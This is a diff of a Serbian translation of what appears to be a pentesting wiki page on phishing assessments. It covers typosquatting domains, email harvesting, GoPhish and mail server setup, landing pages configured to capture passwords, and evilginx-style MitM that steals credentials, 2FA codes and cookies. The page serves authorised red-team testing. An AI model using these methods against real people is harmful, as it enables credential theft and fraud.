| - **Replacement**: Kao homoglyph ali manje prikriveno. Zamenjuje jedno od slova u nazivu domena, možda slovom bliskim na tastaturi (npr. zektser.com). | ||||
| - **Subdomained**: Uvedi **tačku** unutar naziva domena (npr. ze.lster.com). | ||||
| - **Insertion**: **Ubaci slovo** u naziv domena (npr. zerltser.com). | ||||
| - **Missing dot**: Pripoji TLD uz naziv domena. (npr. zelstercom.com) | ||||
| - **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com). | ||||
| - **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com). | ||||
| - **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com). | ||||
| - **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com). | ||||
| - **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com). | ||||
| - **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com). | ||||
| - **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com). | ||||
| - **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com) | ||||
| 
 | ||||
| **Automatski alati** | ||||
| **Automatic Tools** | ||||
| 
 | ||||
| - [**dnstwist**](https://github.com/elceef/dnstwist) | ||||
| - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) | ||||
| 
 | ||||
| **Web sajtovi** | ||||
| **Websites** | ||||
| 
 | ||||
| - [https://dnstwist.it/](https://dnstwist.it) | ||||
| - [https://dnstwister.report/](https://dnstwister.report) | ||||
| @ -52,43 +52,43 @@ homograph-attacks.md | ||||
| 
 | ||||
| ### Bitflipping | ||||
| 
 | ||||
| Postoji **mogućnost da se neki bitovi, koji su sačuvani ili u komunikaciji, automatski preokrenu** zbog različitih faktora kao što su solarne erupcije, kosmičko zračenje ili hardverske greške. | ||||
| Postoji **mogućnost da se neki bitovi** u skladištenju ili komunikaciji automatski promene zbog raznih faktora kao što su solarne oluje, kosmički zraci ili hardverske greške. | ||||
| 
 | ||||
| Kada se ovaj koncept **primeni na DNS zahteve**, moguće je da **domen koji DNS server primi** nije isti kao domen koji je prvobitno zatražen. | ||||
| Kada se ovaj koncept primeni na DNS zahteve, moguće je da **domain koji DNS server zaprimi** nije isti kao domain koji je inicijalno zahtevan. | ||||
| 
 | ||||
| Na primer, jedna izmena bita u domenu "windows.com" može ga promeniti u "windnws.com." | ||||
| Na primer, promena jednog bita u domain-u "windows.com" može ga promeniti u "windnws.com." | ||||
| 
 | ||||
| Napadači mogu **iskoristiti ovo registrujući više bit-flipping domena** koji su slični domenu žrtve. Njihova namera je da preusmere legitimne korisnike na sopstvenu infrastrukturu. | ||||
| Napadači mogu **iskoristiti ovo tako što registruju više bit-flipping domain-a** koji su slični domain-u žrtve. Njihova namera je da preusmere legitimne korisnike na svoju infrastrukturu. | ||||
| 
 | ||||
| Za više informacija pročitajte [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| Za više informacija pogledaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| 
 | ||||
| ### Kupovina pouzdanog domena | ||||
| ### Buy a trusted domain | ||||
| 
 | ||||
| Možete pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za istekao domen koji biste mogli koristiti.\ | ||||
| Da biste bili sigurni da domen koji planirate da kupite **već ima dobar SEO**, možete proveriti kako je kategorizovan u: | ||||
| Možeš pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za expired domain koji bi mogao da iskoristiš.\ | ||||
| Da bi bio siguran da expired domain koji planiraš da kupiš **već ima dobar SEO**, možeš proveriti kako je kategorizovan na: | ||||
| 
 | ||||
| - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) | ||||
| - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) | ||||
| 
 | ||||
| ## Otkrivanje e-mail adresa | ||||
| ## Discovering Emails | ||||
| 
 | ||||
| - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% besplatno) | ||||
| - [https://phonebook.cz/](https://phonebook.cz) (100% besplatno) | ||||
| - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) | ||||
| - [https://phonebook.cz/](https://phonebook.cz) (100% free) | ||||
| - [https://maildb.io/](https://maildb.io) | ||||
| - [https://hunter.io/](https://hunter.io) | ||||
| - [https://anymailfinder.com/](https://anymailfinder.com) | ||||
| 
 | ||||
| Da biste **otkrili više** validnih e-mail adresa ili **verifikovali one** koje ste već otkrili, možete proveriti da li ih možete brute-force-ovati na SMTP serverima žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Pored toga, ne zaboravite da ako korisnici koriste **bilo koji web portal za pristup svojim mejlovima**, možete proveriti da li je ranjiv na **username brute force**, i iskoristiti ranjivost ako je moguće. | ||||
| Da bi **otkrio više** validnih email adresa ili **verifikovao one** koje si već pronašao, možeš proveriti da li možeš brute-force-ovati smtp servere žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Takođe, ne zaboravi da ako korisnici koriste **bilo koji web portal za pristup mail-ovima**, možeš proveriti da li je ranjiv na **username brute force**, i iskoristiti tu ranjivost ako je moguće. | ||||
| 
 | ||||
| ## Konfigurisanje GoPhish | ||||
| ## Configuring GoPhish | ||||
| 
 | ||||
| ### Instalacija | ||||
| 
 | ||||
| Možete ga preuzeti sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| Možeš ga download-ovati sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| 
 | ||||
| Preuzmite i raspakujte ga u `/opt/gophish` i pokrenite `/opt/gophish/gophish`\ | ||||
| U izlazu će vam biti dodeljena lozinka za admin korisnika na portu 3333. Dakle, pristupite tom portu i koristite te akreditive da promenite admin lozinku. Možda ćete morati da tunelišete taj port lokalno: | ||||
| Download-uj i dekompresuj unutar `/opt/gophish` i pokreni `/opt/gophish/gophish`\ | ||||
| U output-u će ti biti dat password za admin user-a na portu 3333. Dakle, pristupi tom portu i iskoristi te credentials da promeniš admin password. Možda ćeš trebati da tuneluješ taj port ka lokalnom: | ||||
| ```bash | ||||
| ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| ``` | ||||
| @ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| 
 | ||||
| **Konfiguracija TLS sertifikata** | ||||
| 
 | ||||
| Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora biti **usmeren** na **IP VPS-a** na kojem konfigurišete **gophish**. | ||||
| Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora da bude **usmeren** na **IP adresu VPS-a** gde konfigurišete **gophish**. | ||||
| ```bash | ||||
| DOMAIN="<domain>" | ||||
| wget https://dl.eff.org/certbot-auto | ||||
| @ -114,7 +114,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt | ||||
| ``` | ||||
| **Konfiguracija pošte** | ||||
| 
 | ||||
| Počnite sa instalacijom: `apt-get install postfix` | ||||
| Počnite instalaciju: `apt-get install postfix` | ||||
| 
 | ||||
| Zatim dodajte domen u sledeće fajlove: | ||||
| 
 | ||||
| @ -122,23 +122,23 @@ Zatim dodajte domen u sledeće fajlove: | ||||
| - **/etc/postfix/transport** | ||||
| - **/etc/postfix/virtual_regexp** | ||||
| 
 | ||||
| **Takođe promenite vrednosti sledećih promenljivih u fajlu /etc/postfix/main.cf** | ||||
| **Takođe promenite vrednosti sledećih promenljivih u /etc/postfix/main.cf** | ||||
| 
 | ||||
| `myhostname = <domain>`\ | ||||
| `mydestination = $myhostname, <domain>, localhost.com, localhost` | ||||
| 
 | ||||
| Na kraju izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** tako da sadrže vaš domen i **restartujte vaš VPS.** | ||||
| 
 | ||||
| Sada kreirajte **DNS A record** za `mail.<domain>` koji pokazuje na **ip address** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>` | ||||
| Sada kreirajte **DNS A record** za `mail.<domain>` koji pokazuje na **IP adresu** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>` | ||||
| 
 | ||||
| Sada ćemo testirati slanje e-maila: | ||||
| Sada ćemo testirati slanje emaila: | ||||
| ```bash | ||||
| apt install mailutils | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test@email.com | ||||
| ``` | ||||
| **Gophish konfiguracija** | ||||
| 
 | ||||
| Zaustavite izvršavanje gophish-a i hajde da ga konfigurišemo.\ | ||||
| Zaustavite izvršavanje gophish i hajde da ga konfigurišemo.\ | ||||
| Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu https): | ||||
| ```bash | ||||
| { | ||||
| @ -166,7 +166,7 @@ Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu ht | ||||
| ``` | ||||
| **Konfigurišite gophish servis** | ||||
| 
 | ||||
| Da biste kreirali gophish servis tako da može biti automatski pokrenut i upravljan kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem: | ||||
| Da biste kreirali gophish servis tako da se može automatski pokretati i upravljati kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem: | ||||
| ```bash | ||||
| #!/bin/bash | ||||
| # /etc/init.d/gophish | ||||
| @ -213,7 +213,7 @@ case $1 in | ||||
| start|stop|status) "$1" ;; | ||||
| esac | ||||
| ``` | ||||
| Završite konfigurisanje servisa i proverite ga tako što ćete uraditi: | ||||
| Završite konfiguraciju servisa i proveru tako što ćete uraditi: | ||||
| ```bash | ||||
| mkdir /var/log/gophish | ||||
| chmod +x /etc/init.d/gophish | ||||
| @ -226,25 +226,25 @@ service gophish stop | ||||
| ``` | ||||
| ## Konfigurisanje mail servera i domena | ||||
| 
 | ||||
| ### Sačekajte i budite legitimni | ||||
| ### Sačekaj i budi legitiman | ||||
| 
 | ||||
| Što je domen stariji, to je manja verovatnoća da će biti označen kao spam. Zato biste trebali čekati što duže (najmanje 1 nedelju) pre phishing procene. Pored toga, ako postavite stranicu vezanu za sektor sa boljom reputacijom, reputacija koja se stekne biće bolja. | ||||
| Što je domen stariji, manja je verovatnoća da će biti označen kao spam. Zato treba da sačekaš što je moguće duže (najmanje 1 nedelju) pre phishing procene. Takođe, ako postaviš stranicu povezanu sa reputacionim sektorom, dobijena reputacija će biti bolja. | ||||
| 
 | ||||
| Imajte na umu da, čak i ako morate čekati nedelju dana, možete sada završiti svu konfiguraciju. | ||||
| Imaj na umu da iako treba da sačekaš nedelju dana, možeš sada završiti svu konfiguraciju. | ||||
| 
 | ||||
| ### Configure Reverse DNS (rDNS) record | ||||
| ### Konfiguriši Reverse DNS (rDNS) zapis | ||||
| 
 | ||||
| Postavite rDNS (PTR) zapis koji rezoluje IP adresu VPS-a na ime domena. | ||||
| Postavi rDNS (PTR) zapis koji rešava IP adresu VPS-a na ime domena. | ||||
| 
 | ||||
| ### Sender Policy Framework (SPF) Record | ||||
| 
 | ||||
| Morate **konfigurisati SPF zapis za novi domen**. Ako ne znate šta je SPF zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| Moraš **konfigurisati SPF zapis za novi domen**. Ako ne znaš šta je SPF zapis [**pročitaj ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| 
 | ||||
| Možete koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišete vašu SPF politiku (koristite IP VPS mašine) | ||||
| Možeš koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišeš svoju SPF politiku (koristi IP VPS mašine) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Ovo je sadržaj koji mora biti postavljen unutar TXT zapisa na domenu: | ||||
| Ovo je sadržaj koji treba postaviti u TXT record unutar domena: | ||||
| ```bash | ||||
| v=spf1 mx a ip4:ip.ip.ip.ip ?all | ||||
| ``` | ||||
| @ -252,18 +252,18 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all | ||||
| 
 | ||||
| Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). | ||||
| 
 | ||||
| Morate kreirati novi DNS TXT zapis koji pokazuje na hostname `_dmarc.<domain>` sa sledećim sadržajem: | ||||
| Morate da kreirate novi DNS TXT zapis usmeren na hostname `_dmarc.<domain>` sa sledećim sadržajem: | ||||
| ```bash | ||||
| v=DMARC1; p=none | ||||
| ``` | ||||
| ### DomainKeys Identified Mail (DKIM) | ||||
| 
 | ||||
| Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). | ||||
| Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). | ||||
| 
 | ||||
| This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Potrebno je da konkatenirate obe B64 vrednosti koje DKIM ključ generiše: | ||||
| > Potrebno je da spojite obe B64 vrednosti koje DKIM ključ generiše: | ||||
| > | ||||
| > ``` | ||||
| > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB | ||||
| @ -271,13 +271,13 @@ This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how | ||||
| 
 | ||||
| ### Test your email configuration score | ||||
| 
 | ||||
| To možete uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com/)\ | ||||
| Samo pristupite stranici i pošaljite e-mail na adresu koju vam daju: | ||||
| You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com/)\   | ||||
| Samo pristupite stranici i pošaljite email na adresu koju vam daju: | ||||
| ```bash | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com | ||||
| ``` | ||||
| Možete takođe **proveriti konfiguraciju e-pošte** slanjem poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i pogledate odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\ | ||||
| Proverite da li prolazite sve testove: | ||||
| Takođe možete **proveriti konfiguraciju e-pošte** slanjem e-poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i vidite odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\ | ||||
| Proverite da li ste prošli sve testove: | ||||
| ```bash | ||||
| ========================================================== | ||||
| Summary of Results | ||||
| @ -288,40 +288,40 @@ DKIM check:         pass | ||||
| Sender-ID check:    pass | ||||
| SpamAssassin check: ham | ||||
| ``` | ||||
| Možete takođe poslati **poruku na Gmail nalog pod vašom kontrolom**, i proveriti **zaglavlja e-pošte** u svom Gmail inboxu, `dkim=pass` bi trebalo da bude prisutno u polju zaglavlja `Authentication-Results`. | ||||
| Takođe možete poslati **poruku na Gmail koji kontrolišete**, i proveriti **zaglavlja emaila** u svom Gmail inboxu, `dkim=pass` treba da bude prisutan u polju `Authentication-Results`. | ||||
| ``` | ||||
| Authentication-Results: mx.google.com; | ||||
| spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; | ||||
| dkim=pass header.i=@example.com; | ||||
| ``` | ||||
| ### Removing from Spamhouse Blacklist | ||||
| ### Uklanjanje sa Spamhouse crne liste | ||||
| 
 | ||||
| Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse-a. Možete zatražiti uklanjanje domena/IP-a na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse. Možete zatražiti uklanjanje vašeg domena/IP-a na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| 
 | ||||
| ### Removing from Microsoft Blacklist | ||||
| ### Uklanjanje sa Microsoft crne liste | ||||
| 
 | ||||
| Možete zatražiti uklanjanje domena/IP-a na [https://sender.office.com/](https://sender.office.com). | ||||
| Možete zatražiti uklanjanje vašeg domena/IP-a na [https://sender.office.com/](https://sender.office.com). | ||||
| 
 | ||||
| ## Create & Launch GoPhish Campaign | ||||
| ## Kreiranje i pokretanje GoPhish kampanje | ||||
| 
 | ||||
| ### Sending Profile | ||||
| ### Profil pošiljaoca | ||||
| 
 | ||||
| - Postavite neko **ime za identifikaciju** profila pošiljaoca | ||||
| - Odlučite sa kojeg naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._ | ||||
| - Možete ostaviti prazno korisničko ime i lozinku, ali obavezno označite opciju Ignore Certificate Errors | ||||
| - Odlučite sa kog naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._ | ||||
| - Možete ostaviti korisničko ime i lozinku praznim, ali obavezno označite Ignore Certificate Errors | ||||
| 
 | ||||
|  (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Preporučuje se korišćenje funkcionalnosti "**Send Test Email**" da biste testirali da li sve radi.\ | ||||
| > Preporučio bih da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli da prilikom testiranja budete stavljeni na crnu listu. | ||||
| > Preporučuje se da koristite funkciju "**Send Test Email**" da testirate da li sve radi.\ | ||||
| > Preporučujem da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja. | ||||
| 
 | ||||
| ### Email Template | ||||
| ### Šablon mejla | ||||
| 
 | ||||
| - Postavite neko **ime za identifikaciju** šablona | ||||
| - Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom emailu) | ||||
| - Uverite se da ste označili "**Add Tracking Image**" | ||||
| - Napišite **email template** (možete koristiti varijable kao u sledećem primeru): | ||||
| - Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom mejlu) | ||||
| - Obavezno označite "**Add Tracking Image**" | ||||
| - Napišite **šablon mejla** (možete koristiti promenljive kao u sledećem primeru): | ||||
| ```html | ||||
| <html> | ||||
| <head> | ||||
| @ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| Imajte na umu da, **kako biste povećali kredibilitet e‑pošte**, preporučuje se korišćenje nekog potpisa iz e‑maila klijenta. Predlozi: | ||||
| Napomena: **da biste povećali kredibilitet mejla**, preporučuje se korišćenje neke potpisa iz mejla klijenta. Predlozi: | ||||
| 
 | ||||
| - Pošaljite poruku na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis. | ||||
| - Potražite **javne adrese** kao što su info@ex.com, press@ex.com ili public@ex.com i pošaljite im e‑mail i sačekajte odgovor. | ||||
| - Pokušajte da kontaktirate **neku validnu otkrivenu** adresu i sačekajte odgovor. | ||||
| - Pošaljite mejl na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis. | ||||
| - Potražite **javne mejlove** kao info@ex.com ili press@ex.com ili public@ex.com i pošaljite im mejl i sačekajte odgovor. | ||||
| - Pokušajte da kontaktirate **neki validan otkriven** mejl i sačekajte odgovor | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Šablon e‑pošte takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM izazove korišćenjem posebno izrađenih fajlova/dokumenata, [pročitajte ovu stranicu](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| > The Email Template takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM challenges koristeći posebno kreirane fajlove/dokumente [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| 
 | ||||
| ### Landing Page | ||||
| 
 | ||||
| - Navedite **ime** | ||||
| - **Napišite HTML kod** web stranice. Imajte na umu da možete **importovati** veb stranice. | ||||
| - Obeležite **Capture Submitted Data** i **Capture Passwords** | ||||
| - Podesite **preusmeravanje** | ||||
| - Unesite **ime** | ||||
| - **Napišite HTML kod** web stranice. Imajte u vidu da možete **importovati** web stranice. | ||||
| - Označite **Capture Submitted Data** i **Capture Passwords** | ||||
| - Podesite **redirection** | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Obično ćete morati da izmenite HTML kod stranice i izvršite testove lokalno (možda koristeći neki Apache server) **dok ne budete zadovoljni rezultatima.** Zatim unesite taj HTML kod u polje.\ | ||||
| > Imajte u vidu da ako treba da **koristite neke statične resurse** za HTML (npr. CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\<filename>**_ | ||||
| > Obično će biti potrebno modifikovati HTML kod stranice i raditi testove lokalno (možda koristeći neki Apache server) **dok ne dobijete željene rezultate.** Zatim taj HTML kod upišite u polje.\ | ||||
| > Napomena: ako trebate **koristiti statičke resurse** za HTML (npr. neke CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\<filename>**_ | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Za preusmeravanje možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili preusmeriti ih na _/static/migration.html_ na primer, prikazati **spinning wheel** ([https://loading.io/](https://loading.io)) 5 sekundi i potom naznačiti da je proces uspešan. | ||||
| > Za redirection možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili ih redirektovati na _/static/migration.html_ na primer, prikazati neki **spinning wheel** ([**https://loading.io/**](https://loading.io)) 5 sekundi i onda naznačiti da je proces uspešan. | ||||
| 
 | ||||
| ### Korisnici i grupe | ||||
| ### Users & Groups | ||||
| 
 | ||||
| - Postavite naziv | ||||
| - **Importujte podatke** (imajte u vidu da da biste koristili šablon za primer trebate firstname, last name i email address svakog korisnika) | ||||
| - Podesite ime | ||||
| - **Importujte podatke** (imajte u vidu da za korišćenje template-a u primeru trebate firstname, last name i email address svakog korisnika) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| ### Kampanja | ||||
| ### Campaign | ||||
| 
 | ||||
| Na kraju, kreirajte kampanju birajući ime, šablon e‑pošte, landing page, URL, sending profile i grupu. Imajte na umu da će URL biti link poslat žrtvama. | ||||
| Na kraju, kreirajte kampanju birajući ime, email template, landing page, URL, Sending Profile i grupu. Napomena: URL će biti link poslat žrtvama. | ||||
| 
 | ||||
| Napomena: **Sending Profile omogućava slanje testne poruke da vidite kako će konačna phishing poruka izgledati**: | ||||
| Imajte u vidu da **Sending Profile omogućava slanje test mejla da vidite kako će finalni phishing mejl izgledati**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Preporučio bih da **testne poruke šaljete na 10min mail adrese** kako biste izbegli da vas stave na blacklist prilikom testiranja. | ||||
| > Preporučujem da **test mejlove šaljete na 10min mail adrese** kako biste izbegli da budete blacklisted tokom testiranja. | ||||
| 
 | ||||
| Kada je sve spremno, jednostavno pokrenite kampanju! | ||||
| Kada je sve spremno, samo pokrenite kampanju! | ||||
| 
 | ||||
| ## Kloniranje vebsajta | ||||
| ## Website Cloning | ||||
| 
 | ||||
| Ako iz bilo kog razloga želite da klonirate vebsajt, pogledajte sledeću stranicu: | ||||
| Ako iz bilo kog razloga želite da klonirate vebsajt, proverite sledeću stranicu: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| clone-a-website.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## Dokumenti i fajlovi sa backdoorom | ||||
| ## Backdoored Documents & Files | ||||
| 
 | ||||
| U nekim phishing procenama (uglavnom za Red Team-ove) možda ćete želeti da pošaljete i **fajlove koji sadrže neku vrstu backdoor-a** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\ | ||||
| U nekim phishing procenama (uglavnom za Red Teams) ćete želeti i da **pošaljete fajlove koji sadrže neku vrstu backdoora** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\ | ||||
| Pogledajte sledeću stranicu za neke primere: | ||||
| 
 | ||||
| 
 | ||||
| @ -408,55 +408,55 @@ phishing-documents.md | ||||
| 
 | ||||
| ## Phishing MFA | ||||
| 
 | ||||
| ### Preko Proxy MitM | ||||
| ### Via Proxy MitM | ||||
| 
 | ||||
| Prethodna metoda je prilično pametna jer falsifikujete pravu veb stranicu i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo tačnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se predstavljate kao prevareni korisnik**. | ||||
| Prethodni napad je prilično pametan jer falsifikujete stvarni sajt i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo ispravnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se imitujete kao kompromitovani korisnik**. | ||||
| 
 | ||||
| Tu dolaze alati kao što su [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). Ovi alati vam omogućavaju da generišete MitM napad. U osnovi, napad funkcioniše na sledeći način: | ||||
| Ovde alati poput [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) postaju korisni. Ovaj alat vam omogućava da generišete MitM tip napada. U suštini, napad funkcioniše na sledeći način: | ||||
| 
 | ||||
| 1. Lažirate login formu prave veb stranice. | ||||
| 2. Korisnik pošalje svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentiali rade**. | ||||
| 3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod alat će ga proslediti pravoj veb stranici. | ||||
| 4. Kada je korisnik autentifikovan, vi (kao napadač) ste **zabeležili kredencijale, 2FA kod, cookie i sve informacije** svake interakcije dok alat radi MitM. | ||||
| 1. Vi **imitirate login** formu prave web stranice. | ||||
| 2. Korisnik **pošalje** svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentials rade**. | ||||
| 3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod, alat će ga poslati pravoj web stranici. | ||||
| 4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **uhvaćene credentials, 2FA, cookie i sve informacije** o svakoj interakciji dok alat radi MitM. | ||||
| 
 | ||||
| ### Preko VNC | ||||
| ### Via VNC | ||||
| 
 | ||||
| Šta ako umesto da **preusmerite žrtvu na zlonamernu stranicu** koja izgleda kao original, pošaljete žrtvu u **VNC sesiju sa browser-om povezanom na pravu veb stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji koristi, cookie-je...\ | ||||
| To možete uraditi koristeći [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) | ||||
| Šta ako umesto da **preusmerite žrtvu na malicioznu stranicu** koja izgleda kao originalna, pošaljete je u **VNC sesiju sa browserom koji je povezan na pravu web stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji se koristi, cookies...\ | ||||
| Možete ovo postići pomoću [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) | ||||
| 
 | ||||
| ## Kako otkriti da ste otkriveni | ||||
| ## Detecting the detection | ||||
| 
 | ||||
| Očigledno je da je jedan od najboljih načina da znate da li ste “pali” da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, vaš domen je na neki način detektovan kao sumnjiv.\ | ||||
| Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je da koristite [https://malwareworld.com/](https://malwareworld.com) | ||||
